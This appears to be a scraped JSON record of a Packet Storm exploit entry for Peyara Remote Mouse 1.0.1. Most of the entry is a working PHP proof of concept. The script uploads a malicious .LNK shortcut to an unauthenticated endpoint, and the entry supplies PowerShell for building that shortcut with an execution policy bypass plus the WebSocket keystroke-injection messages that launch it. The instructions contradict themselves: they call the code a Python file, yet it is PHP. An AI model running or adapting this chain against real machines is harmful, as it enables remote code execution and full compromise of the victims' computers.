{“lastseen”:”2026-02-13T18:05:02″,”description”:”The Peyara Remote Mouse desktop control software exposes an unauthenticated file upload endpoint, along with an unauthenticated WebSocket control channel. An attacker can upload arbitrary files including .LNK shortcuts to the victim environment and…”,”published”:”2026-02-13T00:00:00″,”modified”:”2026-02-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Peyara Remote Mouse 1.0.1 Shell Upload \/ Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215549″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Peyara Remote Mouse 1.0.1 \u2013 Unauthenticated Arbitrary File Upload (LNK Execution) |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/peyara-remote-mouse.vercel.app\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/198932\/ \\n \\n [+] Summary : The Peyara Remote Mouse desktop control software exposes an unauthenticated file upload endpoint, along with an unauthenticated WebSocket control channel.\\n An attacker can upload arbitrary files (including .LNK shortcuts) to the victim environment and trigger command execution via simulated keystrokes.\\n \\n The attack chain:\\n \\n 1) HTTP POST \u2192 Arbitrary file upload to Desktop\\n 2) WebSocket keystroke injection (Ctrl+Esc \u2192 cmd \u2192 Enter)\\n 3) Execution of uploaded LNK payload\\n 4) Achieves arbitrary code execution on the system\\n \\n This vulnerability results in full compromise of the remote system.\\n \\n ==[ PoC ]===================================================================\\n (Save as: exploit_poc.py)\\n \\n \\u003cCODE HERE \u2013 (below in this document)\\u003e\\n \\n ==[ Usage ]================================================================\\n php poc.php \\u003ctarget_ip\\u003e \\u003cpath_to_lnk_file\\u003e\\n \\n Example:\\n php poc.php 192.168.1.10 evil.lnk\\n \\n ==[ Instructions To Save The PoC ]=========================================\\n 1) Copy the entire code block into a file:\\n exploit_poc\\n 2) Ensure Python 3.10+ and \\”requests\\” + \\”websockets\\” are installed:\\n pip install requests websockets\\n 3) Generate the malicious LNK payload (instructions below)\\n 4) Run the exploit:\\n php poc.php \\u003ctarget_ip\\u003e \\u003cevil.lnk\\u003e\\n \\n ==[ Instructions To Generate LNK Payload ]=================================\\n Execute in PowerShell:\\n \\n $WshShell = New-Object -ComObject WScript.Shell\\n $Shortcut = $WshShell.CreateShortcut(\\”$env:USERPROFILE\\\\Desktop\\\\evil.lnk\\”)\\n $Shortcut.TargetPath = \\”powershell.exe\\”\\n $Shortcut.Arguments = ‘-NoProfile -ExecutionPolicy Bypass -Command \\”Start-Process calc.exe\\”‘\\n $Shortcut.WorkingDirectory = \\”%USERPROFILE%\\”\\n $Shortcut.IconLocation = \\”%SystemRoot%\\\\System32\\\\shell32.dll,1\\”\\n $Shortcut.Save()\\n \\n \\n [+] POC : \\n \\n \\n \\u003c?php\\n \/\/ Peyara Remote Mouse Exploit – by indoushka\\n if ($argc \\u003c 2) {\\n die(\\”Usage: php $argv[0] \\u003ctarget_ip\\u003e [lnk_file]\\\\n\\” .\\n \\”Example: php $argv[0] 127.0.0.1\\\\n\\” .\\n \\”Example: php $argv[0] 127.0.0.1 evil.lnk\\\\n\\”);\\n }\\n \\n $target = $argv[1];\\n $lnkFile = $argc \\u003e 2 ? $argv[2] : null;\\n \\n \/\/ \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 LNK \u0625\u0630\u0627 \u0644\u0645 \u064a\u062a\u0645 \u062a\u0648\u0641\u064a\u0631\u0647\\n if (!$lnkFile || !file_exists($lnkFile)) {\\n echo \\”[*] Creating LNK file…\\\\n\\”;\\n $lnkFile = \\”evil_\\” . time() . \\”.lnk\\”;\\n $cmd = ‘powershell -Command \\”$WshShell = New-Object -ComObject WScript.Shell; ‘ .\\n ‘$Shortcut = $WshShell.CreateShortcut(\\\\\\”‘ . $lnkFile . ‘\\\\\\”); ‘ .\\n ‘$Shortcut.TargetPath = \\\\\\”powershell.exe\\\\\\”; ‘ .\\n ‘$Shortcut.Arguments = \\\\\\”-NoProfile -ExecutionPolicy Bypass -Command `\\\\\\”Start-Process calc.exe`\\\\\\”\\\\\\”; ‘ .\\n ‘$Shortcut.Save()\\”‘;\\n \\n @system($cmd);\\n \\n if (!file_exists($lnkFile)) {\\n die(\\”[-] Failed to create LNK file. Create it manually:\\\\n$cmd\\\\n\\”);\\n }\\n echo \\”[+] Created LNK file: $lnkFile\\\\n\\”;\\n }\\n \\n \/\/ \u0631\u0641\u0639 \u0627\u0644\u0645\u0644\u0641\\n echo \\”[*] Uploading to http:\/\/$target:1313\/upload …\\\\n\\”;\\n \\n $boundary = \\”rEZVajKDyijVrXLV2h8zOkgpm4x2NfDfmVs4UdvkPQwgoATx18zpO9ecnaRDQgVDjrOmpt\\”;\\n $content = file_get_contents($lnkFile);\\n \\n $body = \\”–$boundary\\\\r\\\\n\\” .\\n \\”Content-Disposition: form-data; name=\\\\\\”file\\\\\\”; filename=\\\\\\”evil.lnk\\\\\\”; filename*=utf-8”evil.lnk\\\\r\\\\n\\” .\\n \\”Content-Type: application\/octet-stream\\\\r\\\\n\\\\r\\\\n\\” .\\n $content . \\”\\\\r\\\\n\\” .\\n \\”–$boundary–\\\\r\\\\n\\”;\\n \\n $ch = curl_init(\\”http:\/\/$target:1313\/upload\\”);\\n curl_setopt_array($ch, [\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_HTTPHEADER =\\u003e [\\n \\”Host: $target:1313\\”,\\n \\”Content-Type: multipart\/form-data; boundary=$boundary\\”,\\n \\”Content-Length: \\” . strlen($body),\\n \\”User-Agent: Peyara\/4 CFNetwork\/1496.0.7 Darwin\/23.5.0\\”\\n ],\\n CURLOPT_POSTFIELDS =\\u003e $body,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_TIMEOUT =\\u003e 10\\n ]);\\n \\n $response = curl_exec($ch);\\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n \\n if ($httpCode == 200) {\\n echo \\”[+] File uploaded successfully!\\\\n\\\\n\\”;\\n echo \\”[*] Now connect via WebSocket and execute:\\\\n\\”;\\n echo \\” URL: ws:\/\/$target:1313\/socket.io\/?EIO=4\\u0026transport=websocket\\\\n\\\\n\\”;\\n echo \\” Commands to send:\\\\n\\”;\\n echo \\” 1. 40\\\\n\\”;\\n echo \\” 2. 42[\\\\\\”edit-key\\\\\\”,{\\\\\\”key\\\\\\”:\\\\\\”escape\\\\\\”,\\\\\\”modifier\\\\\\”:[\\\\\\”control\\\\\\”]}]\\\\n\\”;\\n echo \\” 3. Type ‘cmd’ + Enter\\\\n\\”;\\n echo \\” 4. Run: for %i in (\\\\\\”%USERPROFILE%\\\\\\\\Desktop\\\\\\\\*evil.lnk\\\\\\”) do start \\\\\\”\\\\\\” \\\\\\”%i\\\\\\”\\\\n\\”;\\n } else {\\n echo \\”[-] Upload failed: HTTP $httpCode\\\\n\\”;\\n if ($response) echo \\”Response: $response\\\\n\\”;\\n }\\n \\n curl_close($ch);\\n \\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215549″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215549\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-13T18:05:02″,”description”:”The Peyara Remote Mouse desktop control software exposes an unauthenticated file upload endpoint, along with an unauthenticated WebSocket control channel. An attacker can upload arbitrary…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-40786","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n